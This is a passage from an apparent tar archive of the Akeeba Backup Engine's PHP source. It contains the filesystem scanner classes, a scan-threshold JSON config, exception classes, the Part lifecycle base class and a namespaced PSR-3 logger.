		return $keys;
	}

	/**
	 * Automatically-detect the proxy settings for this platform.
	 *
	 * Implement this method to detect the proxy settings. Use $this->setProxysettings() to apply them.
	 *
	 * This method is called by getProxySettings automatically. You do NOT need to call it yourself when initialising
	 * the platform.
	 *
	 * @return  void
	 * @since   9.0.7
	 */
	protected function detectProxySettings()
	{

	}
}
com_akeeba/BackupEngine/Scan/Base.php000060400000003136152455305260013422 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Scan;

defined('AKEEBAENGINE') || die();

abstract class Base
{
	/**
	 * Gets all the files of a given folder
	 *
	 * @param   string   $folder    The absolute path to the folder to scan for files
	 * @param   integer  $position  The position in the file list to seek to. Use null for the start of list.
	 *
	 * @return  array  A simple array of files
	 */
	abstract public function getFiles($folder, &$position);

	/**
	 * Gets all the folders (subdirectories) of a given folder
	 *
	 * @param   string   $folder    The absolute path to the folder to scan for files
	 * @param   integer  $position  The position in the file list to seek to. Use null for the start of list.
	 *
	 * @return  array  A simple array of folders
	 */
	abstract public function getFolders($folder, &$position);
}
com_akeeba/BackupEngine/Scan/Smart.php000060400000016520152455305260013637 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Scan;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\WarningException;
use Akeeba\Engine\Factory;
use DirectoryIterator;
use Exception;
use RuntimeException;

/* Windows system detection */
if (!defined('_AKEEBA_IS_WINDOWS'))
{
	$isWindows = DIRECTORY_SEPARATOR == '\\';

	if (function_exists('php_uname'))
	{
		$isWindows = stristr(php_uname(), 'windows');
	}

	define('_AKEEBA_IS_WINDOWS', $isWindows);
}

/**
 * A filesystem scanner which uses opendir() and is smart enough to make large directories
 * be scanned inside a step of their own.
 *
 * The idea is that if it's not the first operation of this step and the number of contained
 * directories AND files is more than double the number of allowed files per fragment, we should
 * break the step immediately.
 *
 */
class Smart extends Base
{
	public function getFiles($folder, &$position)
	{
		$registry = Factory::getConfiguration();
		// Was the breakflag set BEFORE starting? -- This workaround is required due to PHP5 defaulting to assigning variables by reference
		$breakflag_before_process = $registry->get('volatile.breakflag', false);

		// Reset break flag before continuing
		$breakflag = false;

		// Initialize variables
		$arr   = [];
		$false = false;

		if (!@is_dir($folder) && !@is_dir($folder . '/'))
		{
			return $false;
		}

		$counter    = 0;
		$registry   = Factory::getConfiguration();
		$maxCounter = $registry->get('engine.scan.smart.large_dir_threshold', 100);

		$allowBreakflag = ($registry->get('volatile.operation_counter', 0) != 0) && !$breakflag_before_process;

		if (!@is_dir($folder))
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP reports it as not a folder.');
		}

		if (!@is_readable($folder))
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP reports it as not readable.');
		}

		try
		{
			$di = new DirectoryIterator($folder);
		}
		catch (Exception $e)
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP\'s DirectoryIterator reports the path cannot be opened.', 0, $e);
		}

		if (!$di->valid())
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP\'s DirectoryIterator could open the folder but immediately reports itself as not valid. If this happens your server is about to die.');
		}

		$ds = ($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ? '' : DIRECTORY_SEPARATOR;

		/** @var DirectoryIterator $file */
		foreach ($di as $file)
		{
			if ($breakflag)
			{
				break;
			}

			/**
			 * If the directory entry is a link pointing somewhere outside the allowed directories per open_basedir we
			 * will get a RuntimeException (tested on PHP 5.3 onwards). Catching it lets us report the link as
			 * unreadable without suffering a PHP Fatal Error.
			 */
			try
			{
				$file->isLink();
			}
			catch (RuntimeException $e)
			{
				if (!in_array($di->getFilename(), ['.', '..']))
				{
					Factory::getLog()->warning(sprintf("Link %s is inaccessible. Check the open_basedir restrictions in your server's PHP configuration", $file->getPathname()));
				}

				continue;
			}

			if ($file->isDot())
			{
				continue;
			}

			if ($file->isDir())
			{
				continue;
			}

			$dir  = $folder . $ds . $file->getFilename();
			$data = $dir;

			if (_AKEEBA_IS_WINDOWS)
			{
				$data = Factory::getFilesystemTools()->TranslateWinPath($dir);
			}

			if ($data)
			{
				$arr[] = $data;
			}

			$counter++;

			if ($counter >= $maxCounter)
			{
				$breakflag = $allowBreakflag;
			}
		}

		// Save break flag status
		$registry->set('volatile.breakflag', $breakflag);

		return $arr;
	}

	public function getFolders($folder, &$position)
	{
		// Was the breakflag set BEFORE starting? -- This workaround is required due to PHP5 defaulting to assigning variables by reference
		$registry                 = Factory::getConfiguration();
		$breakflag_before_process = $registry->get('volatile.breakflag', false);

		// Reset break flag before continuing
		$breakflag = false;

		// Initialize variables
		$arr   = [];
		$false = false;

		if (!is_dir($folder) && !is_dir($folder . '/'))
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP reports it as not a folder.');
		}

		if (!@is_readable($folder))
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP reports it as not readable.');
		}

		$counter    = 0;
		$registry   = Factory::getConfiguration();
		$maxCounter = $registry->get('engine.scan.smart.large_dir_threshold', 100);

		$allowBreakflag = ($registry->get('volatile.operation_counter', 0) != 0) && !$breakflag_before_process;

		try
		{
			$di = new DirectoryIterator($folder);
		}
		catch (Exception $e)
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP\'s DirectoryIterator reports the path cannot be opened.', 0, $e);
		}

		if (!$di->valid())
		{
			throw new WarningException('Cannot list contents of directory ' . $folder . ' -- PHP\'s DirectoryIterator could open the folder but immediately reports itself as not valid. If this happens your server is about to die.');
		}

		$ds = ($folder == '') || ($folder == '/') || (@substr($folder, -1) == '/') || (@substr($folder, -1) == DIRECTORY_SEPARATOR) ? '' : DIRECTORY_SEPARATOR;

		/** @var DirectoryIterator $file */
		foreach ($di as $file)
		{
			if ($breakflag)
			{
				break;
			}

			/**
			 * If the directory entry is a link pointing somewhere outside the allowed directories per open_basedir we
			 * will get a RuntimeException (tested on PHP 5.3 onwards). Catching it lets us report the link as
			 * unreadable without suffering a PHP Fatal Error.
			 */
			try
			{
				$file->isLink();
			}
			catch (RuntimeException $e)
			{
				if (!in_array($di->getFilename(), ['.', '..']))
				{
					Factory::getLog()->warning(sprintf("Link %s is inaccessible. Check the open_basedir restrictions in your server's PHP configuration", $file->getPathname()));
				}

				continue;
			}

			if ($file->isDot())
			{
				continue;
			}

			if (!$file->isDir())
			{
				continue;
			}

			$dir  = $folder . $ds . $file->getFilename();
			$data = $dir;

			if (_AKEEBA_IS_WINDOWS)
			{
				$data = Factory::getFilesystemTools()->TranslateWinPath($dir);
			}

			if ($data)
			{
				$arr[] = $data;
			}

			$counter++;

			if ($counter >= $maxCounter)
			{
				$breakflag = $allowBreakflag;
			}
		}

		// Save break flag status
		$registry->set('volatile.breakflag', $breakflag);

		return $arr;
	}
}
com_akeeba/BackupEngine/Scan/smart.json000060400000001745152455305260014064 0ustar00{
    "_information": {
        "title": "COM_AKEEBA_CONFIG_ENGINE_SCAN_SMART_TITLE",
        "description": "COM_AKEEBA_CONFIG_ENGINE_SCAN_SMART_DESCRIPTION"
    },
    "engine.scan.smart.large_dir_threshold": {
        "default": "100",
        "type": "integer",
        "min": "0",
        "max": "500",
        "shortcuts": "20|50|100|200|300|400|500",
        "scale": "1",
        "uom": "",
        "title": "COM_AKEEBA_CONFIG_LARGEDIRTHRESHOLD_TITLE",
        "description": "COM_AKEEBA_CONFIG_LARGEDIRTHRESHOLD_DESCRIPTION"
    },
    "engine.scan.common.largefile": {
        "default": "10485760",
        "type": "integer",
        "min": "1048576",
        "max": "1048576000",
        "shortcuts": "1048576|2097152|5242880|10485760|15728640|20971520|26214400|31457280|41943040|52428800|78643200|104857600",
        "scale": "1048576",
        "uom": "MB",
        "title": "COM_AKEEBA_CONFIG_LARGEFILE_TITLE",
        "description": "COM_AKEEBA_CONFIG_LARGEFILE_DESCRIPTION"
    }
}com_akeeba/BackupEngine/Base/Exceptions/ErrorException.php000060400000002041152455305260017621 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Base\Exceptions;

defined('AKEEBAENGINE') || die();

use RuntimeException;

/**
 * An exception which leads to an error (and complete halt) in the backup process
 */
class ErrorException extends RuntimeException
{

}
com_akeeba/BackupEngine/Base/Exceptions/WarningException.php000060400000002020152455305260020132 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Base\Exceptions;

defined('AKEEBAENGINE') || die();

use RuntimeException;

/**
 * An exception which leads to a warning in the backup process
 */
class WarningException extends RuntimeException
{

}
com_akeeba/BackupEngine/Base/Part.php000060400000035320152455305260013444 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Base;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Factory;
use Exception;
use Akeeba\Engine\Psr\Log\LogLevel;
use Throwable;

/**
 * Base class for all Akeeba Engine parts.
 *
 * Parts are objects which perform a specific function during the backup process, e.g. backing up files or dumping
 * database contents. They have a fully defined and controlled lifecycle, from initialization to finalization. The
 * transition between lifecycle phases is handled by the `tick()` method which is essentially the only public interface
 * to interacting with an engine part.
 */
abstract class Part
{
	public const STATE_INIT = 0;
	public const STATE_PREPARED = 1;
	public const STATE_RUNNING = 2;
	public const STATE_POSTRUN = 3;
	public const STATE_FINISHED = 4;
	public const STATE_ERROR = 99;

	/**
	 * The current state of this part; see the constants at the top of this class
	 *
	 * @var int
	 */
	protected $currentState = self::STATE_INIT;

	/**
	 * The name of the engine part (a.k.a. Domain), used in return table
	 * generation.
	 *
	 * @var string
	 */
	protected $activeDomain = "";

	/**
	 * The step this engine part is in. Used verbatim in return table and
	 * should be set by the code in the _run() method.
	 *
	 * @var string
	 */
	protected $activeStep = "";

	/**
	 * A more detailed description of the step this engine part is in. Used
	 * verbatim in return table and should be set by the code in the _run()
	 * method.
	 *
	 * @var string
	 */
	protected $activeSubstep = "";

	/**
	 * Any configuration variables, in the form of an array.
	 *
	 * @var array
	 */
	protected $_parametersArray = [];

	/**
	 * The database root key
	 *
	 * @var  string
	 */
	protected $databaseRoot = [];

	/**
	 * Should we log the step nesting?
	 *
	 * @var  bool
	 */
	protected $nest_logging = false;

	/**
	 * Embedded installer preferences
	 *
	 * @var  object
	 */
	protected $installerSettings;

	/**
	 * How much milliseconds should we wait to reach the min exec time
	 *
	 * @var  int
	 */
	protected $waitTimeMsec = 0;

	/**
	 * Should I ignore the minimum execution time altogether?
	 *
	 * @var  bool
	 */
	protected $ignoreMinimumExecutionTime = false;

	/**
	 * The last exception thrown during the tick() method's execution.
	 *
	 * @var null|Exception
	 */
	protected $lastException = null;

	public function _onSerialize()
	{
		$this->lastException = null;
	}

	/**
	 * Public constructor
	 *
	 * @return  void
	 */
	public function __construct()
	{
		// Fetch the installer settings
		$this->installerSettings = (object) [
			'installerroot' => 'installation',
			'sqlroot'       => 'installation/sql',
			'databasesini'  => 1,
			'readme'        => 1,
			'extrainfo'     => 1,
			'password'      => 0,
		];

		$config               = Factory::getConfiguration();
		$installerKey         = $config->get('akeeba.advanced.embedded_installer');
		$installerDescriptors = Factory::getEngineParamsProvider()->getInstallerList();

		// Fall back to default ANGIE installer if the selected installer is not found
		if (!array_key_exists($installerKey, $installerDescriptors))
		{
			$installerKey = 'angie';
		}

		if (array_key_exists($installerKey, $installerDescriptors))
		{
			$this->installerSettings = (object) $installerDescriptors[$installerKey];
		}
	}

	/**
	 * Nested logging of exceptions
	 *
	 * The message is logged using the specified log level. The detailed information of the Throwable and its trace are
	 * logged using the DEBUG level.
	 *
	 * If the Throwable is nested, its parents are logged recursively. This should create a thorough trace leading to
	 * the root cause of an error.
	 *
	 * @param   Exception|Throwable  $exception  The Exception or Throwable to log
	 * @param   string               $logLevel   The log level to use, default ERROR
	 */
	protected static function logErrorsFromException($exception, $logLevel = LogLevel::ERROR)
	{
		$logger = Factory::getLog();

		$logger->log($logLevel, $exception->getMessage());

		$logger->debug(sprintf('[%s] %s(%u) – #%u ‹%s›', get_class($exception), $exception->getFile(), $exception->getLine(), $exception->getCode(), $exception->getMessage()));

		foreach (explode("\n", $exception->getTraceAsString()) as $line)
		{
			$logger->debug(rtrim($line));
		}

		$previous = $exception->getPrevious();

		if (!is_null($previous))
		{
			self::logErrorsFromException($previous, $logLevel);
		}
	}

	/**
	 * The public interface to an engine part. This method takes care for
	 * calling the correct method in order to perform the initialisation -
	 * run - finalisation cycle of operation and return a proper response array.
	 *
	 * @param   int  $nesting
	 *
	 * @return  array  A response array
	 */
	public function tick($nesting = 0)
	{
		$configuration       = Factory::getConfiguration();
		$timer               = Factory::getTimer();
		$this->waitTimeMsec  = 0;
		$this->lastException = null;

		// Add a small wait based on the existence of a constant. Used in testing, to simulate slow servers.
		if (defined('AKEEBA_BACKUP_TESTING_STEP_THROTTLING'))
		{
			/** @noinspection PhpUndefinedConstantInspection */
			usleep((int) AKEEBA_BACKUP_TESTING_STEP_THROTTLING);
		}

		/**
		 * Call the right action method, depending on engine part state.
		 *
		 * The action method may throw an exception to signal failure, hence the try-catch. If there is an exception we
		 * will set the part's state to STATE_ERROR and store the last exception.
		 */
		try
		{
			switch ($this->getState())
			{
				case self::STATE_INIT:
					$this->_prepare();
					break;

				case self::STATE_PREPARED:
				case self::STATE_RUNNING:
					$this->_run();
					break;

				case self::STATE_POSTRUN:
					$this->_finalize();
					break;
			}
		}
		catch (Exception $e)
		{
			$this->lastException = $e;
			$this->setState(self::STATE_ERROR);
		}

		// If there is still time, we are not finished and there is no break flag set, re-run the tick()
		// method.
		$breakFlag = $configuration->get('volatile.breakflag', false);

		if (
			!in_array($this->getState(), [self::STATE_FINISHED, self::STATE_ERROR]) &&
			($timer->getTimeLeft() > 0) &&
			!$breakFlag &&
			($nesting < 20) &&
			($this->nest_logging)
		)
		{
			// Nesting is only applied if $this->nest_logging == true (currently only Kettenrad has this)
			$nesting++;

			if ($this->nest_logging)
			{
				Factory::getLog()->debug("*** Batching successive steps (nesting level $nesting)");
			}

			return $this->tick($nesting);
		}

		// Return the output array
		$out = $this->makeReturnTable();

		// If it's not a nest-logged part (basically, anything other than Kettenrad) return the output array.
		if (!$this->nest_logging)
		{
			return $out;
		}

		// From here on: things to do for nest-logged parts (i.e. Kettenrad)
		if ($breakFlag)
		{
			Factory::getLog()->debug("*** Engine steps batching: Break flag detected.");
		}

		// Reset the break flag
		$configuration->set('volatile.breakflag', false);

		// Log that we're breaking the step
		Factory::getLog()->debug("*** Batching of engine steps finished. I will now return control to the caller.");

		// Detect whether I need server-side sleep
		$serverSideSleep = $this->needsServerSideSleep();

		// Enforce minimum execution time
		if (!$this->ignoreMinimumExecutionTime)
		{
			$timer              = Factory::getTimer();
			$this->waitTimeMsec = (int) $timer->enforce_min_exec_time(true, $serverSideSleep);
		}

		// Send a Return Table back to the caller
		return $out;
	}

	/**
	 * Returns a copy of the class's status array
	 *
	 * @return  array  The response array
	 */
	public function getStatusArray()
	{
		return $this->makeReturnTable();
	}

	/**
	 * Sends any kind of setup information to the engine part. Using this,
	 * we avoid passing parameters to the constructor of the class. These
	 * parameters should be passed as an indexed array and should be taken
	 * into account during the preparation process only. This function will
	 * set the error flag if it's called after the engine part is prepared.
	 *
	 * @param   array  $parametersArray  The parameters to be passed to the engine part.
	 *
	 * @return  void
	 */
	public function setup($parametersArray)
	{
		if ($this->currentState == self::STATE_PREPARED)
		{
			$this->setState(self::STATE_ERROR);

			throw new ErrorException(__CLASS__ . ":: Can't modify configuration after the preparation of " . $this->activeDomain);
		}

		$this->_parametersArray = $parametersArray;

		if (array_key_exists('root', $parametersArray))
		{
			$this->databaseRoot = $parametersArray['root'];
		}
	}

	/**
	 * Returns the state of this engine part.
	 *
	 * @return  int  The state of this engine part.
	 */
	public function getState()
	{
		if (!is_null($this->lastException))
		{
			$this->currentState = self::STATE_ERROR;
		}

		return $this->currentState;
	}

	/**
	 * Translate the integer state to a string, used by consumers of the public Engine API.
	 *
	 * @param   int  $state  The part state to translate to string
	 *
	 * @return  string
	 */
	public function stateToString($state)
	{
		switch ($state)
		{
			case self::STATE_ERROR:
				return 'error';
				break;

			case self::STATE_INIT:
				return 'init';
				break;

			case self::STATE_PREPARED:
				return 'prepared';
				break;

			case self::STATE_RUNNING:
				return 'running';
				break;

			case self::STATE_POSTRUN:
				return 'postrun';
				break;

			case self::STATE_FINISHED:
				return 'finished';
				break;
		}

		return 'init';
	}

	/**
	 * Get the current domain of the engine
	 *
	 * @return  string  The current domain
	 */
	public function getDomain()
	{
		return $this->activeDomain;
	}

	/**
	 * Get the current step of the engine
	 *
	 * @return  string  The current step
	 */
	public function getStep()
	{
		return $this->activeStep;
	}

	/**
	 * Get the current sub-step of the engine
	 *
	 * @return  string  The current sub-step
	 */
	public function getSubstep()
	{
		return $this->activeSubstep;
	}

	/**
	 * Implement this if your Engine Part can return the percentage of its work already complete
	 *
	 * @return  float  A number from 0 (nothing done) to 1 (all done)
	 */
	public function getProgress()
	{
		return 0;
	}

	/**
	 * Get the value of the minimum execution time ignore flag.
	 *
	 * DO NOT REMOVE. It is used by the Engine consumers.
	 *
	 * @return boolean
	 */
	public function isIgnoreMinimumExecutionTime()
	{
		return $this->ignoreMinimumExecutionTime;
	}

	/**
	 * Set the value of the minimum execution time ignore flag. When set, the nested logging parts (basically,
	 * Kettenrad) will ignore the minimum execution time parameter.
	 *
	 * DO NOT REMOVE. It is used by the Engine consumers.
	 *
	 * @param   boolean  $ignoreMinimumExecutionTime
	 */
	public function setIgnoreMinimumExecutionTime($ignoreMinimumExecutionTime)
	{
		$this->ignoreMinimumExecutionTime = $ignoreMinimumExecutionTime;
	}

	/**
	 * Runs any initialization code. Must set the state to STATE_PREPARED.
	 *
	 * @return  void
	 */
	abstract protected function _prepare();

	/**
	 * Runs any finalisation code. Must set the state to STATE_FINISHED.
	 *
	 * @return  void
	 */
	abstract protected function _finalize();

	/**
	 * Performs the main objective of this part. While still processing the state must be set to STATE_RUNNING. When the
	 * main objective is complete and we're ready to proceed to finalization the state must be set to STATE_POSTRUN.
	 *
	 * @return  void
	 */
	abstract protected function _run();

	/**
	 * Sets the BREAKFLAG, which instructs this engine part that the current step must break immediately,
	 * in fear of timing out.
	 *
	 * @return  void
	 */
	protected function setBreakFlag()
	{
		$registry = Factory::getConfiguration();
		$registry->set('volatile.breakflag', true);
	}

	/**
	 * Sets the engine part's internal state, in an easy to use manner
	 *
	 * @param   int  $state  The part state to set
	 *
	 * @return  void
	 */
	protected function setState($state = self::STATE_INIT)
	{
		$this->currentState = $state;
	}

	/**
	 * Constructs a Response Array based on the engine part's state.
	 *
	 * @return  array  The Response Array for the current state
	 */
	protected function makeReturnTable()
	{
		$errors = [];
		$e      = $this->lastException;

		while (!empty($e))
		{
			$errors[] = $e->getMessage();
			$e        = $e->getPrevious();
		}

		return [
			'HasRun'         => $this->currentState != self::STATE_FINISHED,
			'Domain'         => $this->activeDomain,
			'Step'           => $this->activeStep,
			'Substep'        => $this->activeSubstep,
			'Error'          => implode("\n", $errors),
			'Warnings'       => [],
			'ErrorException' => $this->lastException,
		];
	}

	/**
	 * Set the current domain of the engine
	 *
	 * @param   string  $new_domain  The domain to set
	 *
	 * @return  void
	 */
	protected function setDomain($new_domain)
	{
		$this->activeDomain = $new_domain;
	}

	/**
	 * Set the current step of the engine
	 *
	 * @param   string  $new_step  The step to set
	 *
	 * @return  void
	 */
	protected function setStep($new_step)
	{
		$this->activeStep = $new_step;
	}

	/**
	 * Set the current sub-step of the engine
	 *
	 * @param   string  $new_substep  The sub-step to set
	 *
	 * @return  void
	 */
	protected function setSubstep($new_substep)
	{
		$this->activeSubstep = $new_substep;
	}

	/**
	 * Do I need to apply server-side sleep for the time difference between the elapsed time and the minimum execution
	 * time?
	 *
	 * @return bool
	 */
	private function needsServerSideSleep()
	{
		/**
		 * If the part doesn't support tagging, i.e. I can't determine if this is a backend backup or not, I will always
		 * use server-side sleep.
		 */
		if (!method_exists($this, 'getTag'))
		{
			return true;
		}

		/**
		 * If this is not a backend backup I will always use server-side sleep. That is to say that legacy front-end,
		 * remote JSON API and CLI backups must always use server-side sleep since they do not support client-side
		 * sleep.
		 */
		if (!in_array($this->getTag(), ['backend']))
		{
			return true;
		}

		return Factory::getConfiguration()->get('akeeba.basic.clientsidewait', 0) == 0;
	}
}
com_akeeba/BackupEngine/Psr/Log/AbstractLogger.php000060400000011635152455305260016057 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

defined('AKEEBAENGINE') || die();

/**
 * This is a simple Logger implementation that other Loggers can inherit from.
 *
 * It simply delegates all log-level-specific methods to the `log` method to
 * reduce boilerplate code that a simple Logger that does the same thing with
 * messages regardless of the error level has to implement.
 */
abstract class AbstractLogger implements LoggerInterface
{
	/**
	 * System is unusable.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function emergency($message, array $context = [])
	{
		$this->log(LogLevel::EMERGENCY, $message, $context);
	}

	/**
	 * Action must be taken immediately.
	 *
	 * Example: Entire website down, database unavailable, etc. This should
	 * trigger the SMS alerts and wake you up.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function alert($message, array $context = [])
	{
		$this->log(LogLevel::ALERT, $message, $context);
	}

	/**
	 * Critical conditions.
	 *
	 * Example: Application component unavailable, unexpected exception.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function critical($message, array $context = [])
	{
		$this->log(LogLevel::CRITICAL, $message, $context);
	}

	/**
	 * Runtime errors that do not require immediate action but should typically
	 * be logged and monitored.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function error($message, array $context = [])
	{
		$this->log(LogLevel::ERROR, $message, $context);
	}

	/**
	 * Exceptional occurrences that are not errors.
	 *
	 * Example: Use of deprecated APIs, poor use of an API, undesirable things
	 * that are not necessarily wrong.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function warning($message, array $context = [])
	{
		$this->log(LogLevel::WARNING, $message, $context);
	}

	/**
	 * Normal but significant events.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function notice($message, array $context = [])
	{
		$this->log(LogLevel::NOTICE, $message, $context);
	}

	/**
	 * Interesting events.
	 *
	 * Example: User logs in, SQL logs.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function info($message, array $context = [])
	{
		$this->log(LogLevel::INFO, $message, $context);
	}

	/**
	 * Detailed debug information.
	 *
	 * @param   string  $message
	 * @param   array   $context
	 *
	 * @return void
	 */
	public function debug($message, array $context = [])
	{
		$this->log(LogLevel::DEBUG, $message, $context);
	}
}
com_akeeba/BackupEngine/Psr/Log/InvalidArgumentException.php000060400000004476152455305260020131 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Psr\Log;

/**
 * This file is part of a privately namespaced copy of PSR-3 version 1.
 *
 * You can find the original PSR-3 in https://www.php-fig.org/psr/psr-3/ and the original code in
 * https://github.com/php-fig/log
 *
 * The license of the original code can be found below.
 *
 * Copyright (c) 2012 PHP Framework Interoperability Group
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
